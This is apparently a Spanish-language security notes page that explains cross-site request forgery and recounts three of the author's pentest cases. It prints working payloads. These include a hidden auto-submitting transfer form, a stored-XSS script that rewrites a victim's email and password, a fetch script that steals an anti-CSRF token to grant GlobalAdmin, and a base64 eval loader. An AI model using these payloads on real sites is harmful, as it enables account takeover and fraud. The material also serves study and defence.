Cross-Site Request Forgery (CSRF)

Definición

CSRF (Cross-Site Request Forgery) es una vulnerabilidad de seguridad en la que un atacante engaña a un usuario autenticado para que realice una acción no deseada en un sitio web en el que está logueado. El atacante envía una solicitud maliciosa desde un sitio externo (por ejemplo, mediante un enlace o una imagen), y si el usuario está autenticado, su navegador enviará automáticamente las cookies o credenciales de sesión junto con la solicitud, lo que puede hacer que el servidor ejecute acciones no autorizadas, como cambiar configuraciones, realizar compras o transferir dinero, sin que el usuario lo sepa.

En resumen, CSRF aprovecha la confianza de un servidor en el navegador del usuario para ejecutar acciones en su nombre, sin su consentimiento.

Ejemplos:

Imagínese que un atacante ataca una app bancaria . El atacante puede enviar la siguiente URL con una solicitud GET.

http://bankingsite.com/transfer-money?amount=1000000

Si el atacante logra que la víctima haga clic en esta URL, se incluirán las cookies de sesión de la víctima. Esto permitirá que el ataque CSRF se complete con éxito mediante la transferencia de la cantidad de dinero que el atacante defina.

La siguiente carga útil puede ayudar al atacante a enviar la carga útil del ataque:

<img src=”http://bankingsite.com/transfer-money?amount=1000000" />

Si el atacante envía la carga útil con una solicitud POST, se puede utilizar una carga útil similar al siguiente código HTML:

<html>
<body>
<form action="http://bankingsite.com/transfer-money" method="post">
<input type="hidden" name="Transaction" value="withdraw" />
<input type="hidden" name="Amount" value="1000000" />
<input type="submit" value="Click"/>
</form>
</body>
</html>

¿Cuál es el impacto del CSRF?

En el caso de los ataques CSRF, el impacto del ataque depende del nivel de permisos que tenga la víctima en la aplicación.

Acciones:

  • Cambiar la contraseña de la víctima

  • Permitir transacciones monetarias en nombre de la víctima

  • Ejecutar acciones disponibles en el sitio web

Ejemplo: Un CSRF que mantenga logueado a un usuario cada vez que vea una sección de chats donde dejaron código malicioso.

Ejemplos reales

Caso 1: DOS via CSRF

Este ejemplo roza un SSRF y un CSRF, pero en este caso lo asumimos como lo segundo. Si podemos modificar los datos de un usuario y en esos datos viaja un campo modificable donde podemos agregar una ruta interna en la app por ejemplo para que se desloguee automáticamente podríamos tener un CSRF:

HTTP Request:

POST /users/edit/users/1 HTTP/2 
Host: vulnerablesite.com

{"first_name":"r4z0r","last_name":"r4z0r","document_type":"42","document":"123451234123","phone":"123412341234","phone
_extension":"","description":"test","roles":["normal-user"],"avatarLoaded":"https://vulnerablesite.com/logout?"} 

Como se aprecia, en el avatarLoaded ahora está cargado la petición de deslogueo, entonces cada vez que el usuario intente acceder a la aplicación y se cargue su avatar este quedará desautenticado provocando un DOS.

CSRF

Como se aprecia, cada vez que se cargaba /users el usuario quedaba desautenticado.

Caso 2: Account Take Over via CSRF (Por chat de WhatsApp)

En este caso era un chat de WhatsApp o Telegram a través de una aplicación estilo call center. Como no podía robarle la cookie, decidí crear un payload que cuando el abriera el mensaje se le cambiara automáticamente su contraseña y su correo sin su consentimiento.

<img src="x" onerror="var xhr = new XMLHttpRequest(); xhr.open('PUT', '/login/auth/update-
credentials', true); xhr.withCredentials = true; xhr.setRequestHeader('Content-Type', 
'application/json'); xhr.send(JSON.stringify({correo: 'razor@razor.com', nombre: 'hacked by r4z0r', telefono: '11111111111', clave: 'Pass1234$!'}));"></img>

Vista desde la WhatsApp + App:

XSS via WhatsApp

Vista desde la App + Burp Suite

XSS ejecutado transformado a CSRF

¿Qué está haciendo este payload?

  1. Inducir un error en la carga de la imagen: El <img src="x"> no cargará una imagen válida, lo que activará el evento onerror.

  2. Ejecutar un código malicioso: El evento onerror dispara una solicitud HTTP PUT que intenta modificar las credenciales de un usuario en el servidor.

  3. Actualizar las credenciales del usuario: La solicitud PUT envía datos maliciosos (correo, nombre, teléfono y clave) al servidor, lo que podría modificar las credenciales de un usuario en el servidor si el servidor no tiene una validación adecuada.

¿Qué sigue después de esto?

Pa' la casa.

PD: fue el XSS/CSRF más bonito de mi carrera 😄

Caso 3: Account Take over via CSRF + robo de token anti-csrf.

Payload:

fetch('https://r4z0r.gitbook.io/config/users/199/edit', {
    method: 'GET'
  })
    .then(function(response) {
      return response.text();
    })
    .then(function(html) {
      var parser = new DOMParser();
      var doc = parser.parseFromString(html, 'text/html');
      var csrfToken = doc.querySelector('[name="csrf-token"]').getAttribute('content');
      console.log('El token es: ' + csrfToken);
      
      // Crear el objeto FormData y agregar los campos necesarios
      var formData = new FormData();
      formData.append('_method', 'patch');
      formData.append('authenticity_token', csrfToken);
      formData.append('user[institution_id]', '53');
      formData.append('user[email]', 'razor+1@hackmetrix.com');
      formData.append('user[name]', 'info');
      formData.append('user[last_name]', 'admin');
      formData.append('user[avatar]', new File([], ''), '');
      formData.append('user[professional_type_id]', 'GlobalAdmin');
      formData.append('user[type]', 'GlobalAdmin');
      formData.append('commit', 'Actualizar administrador');
      
      // Realizar la solicitud POST con los datos de form-data
      fetch('https://r4z0r.gitbook.io/config/users/199', {
        method: 'POST',
        body: formData
      })
        .then(function(response) {
          console.log('Pwned!')
        })
        .catch(function(error) {
          console.log('Error: ', error);
        });
    });

Payload final:

<div id=''><img src=x id='codigo-anterior-en-base64' onerror='eval(atob(this.id))'></div>

El contexto fue, desde un registro de beneficiarios, otro usuario podía poner en lugar de su nombre código Javascript, entonces cuando venía otro usuario y veía el formulario se ejecutaba el XSS y se le cambiaba el correo actual.

CSRF ejecutado, ADMIN Pwn3d.

Luego recuperamos la contraseña y listorti:

¿Pero estos ejemplos no son un XSS?

Recursos

Última actualización